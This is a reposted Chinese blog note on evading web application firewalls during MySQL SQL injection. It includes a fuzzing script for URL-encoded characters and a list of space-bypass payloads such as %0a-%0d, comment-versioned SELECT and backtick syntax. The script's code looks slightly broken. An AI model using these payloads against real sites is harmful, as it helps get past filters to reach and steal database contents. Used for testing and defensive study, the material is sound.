zoukankan      html  css  js  c++  java
  • waf绕过

    0x01 fuzz(以绕过空格为例子)

    今天朋友分享了一些常见的,和一些通用waf的绕过姿势,看一下,做一下记录
    我这里以空格为例子,mysql中当语句为如下的时候返回不同

    mysql> select * from users where user_id='1' and 1=1;
    +---------+-------+-----------+
    | user_id | user  | password  |
    +---------+-------+-----------+
    |       1 | admin | admintest |
    +---------+-------+-----------+
    1 row in set (0.29 sec)
    
    mysql> select * from users where user_id='1' and 1=2;
    Empty set (0.00 sec)
    

    在firefox中用hackbar测试这里空格被url编码了为%20
    这里我自己写了个脚本,生成了一系列各种符号的url编码,ascii码值,用于fuzz

    import sys
    
    save_file = sys.argv[1]
    pre = '0x'
    num = [1,2,3,4,5,6,7,8,9]
    word = ['QWERTYUIOPLKJHGFDSAZXCVBNMqwertyuioplkjhgfdsazxcvbnm']
    with open(save_file,'wb') as file:
    	for i in range(0,52):
    		for n in word:
    			tar = '0' + n[i] + '
    '
    			file.write(tar)
    			for a in num:
    				res = str(pre) + str(a) + n[i] + '
    '
    				print res	
    				file.write(res)
    


    这里以空格为例子

    对这里的20进行爆破,加载上面生成的字典

    这里可以看到%0a-d都可以代替进行绕过

    0x02 其他的一些姿势(还是以空格为例子)

    payload
    select{user table_name}from{users information_schema.tables};
    返回全部表
    符号   + /**/  () 0x90等
    select .1from users;
    /*!50000select*/user from users;
    select 0e1from users;
    select version%0b()
    select`version()`     
    select`version`%0b()
    mysql> select`user`from`users`;
    +-------+
    | user  |
    +-------+
    | admin |
    | test  |
    | sp4rk |
    | qwer  |
    +-------+
    4 rows in set (0.00 sec)
    
  • 相关阅读:
    博客
    Windows Live Writer
    VirtualBox
    Linux dd
    Nginx与tomcat组合的简单使用
    压力测试之badboy和Jmeter的简单使用方法
    WebGIS中基于控制点库进行SHP数据坐标转换的一种查询优化策略
    浅谈利用SQLite存储离散瓦片的思路和实现方法
    常见ArcGIS操作(以10.0为例)
    (二十一)WebGIS中鹰眼的实现思路
  • 原文地址:https://www.cnblogs.com/spark-xl/p/9103104.html
Copyright © 2011-2022 走看看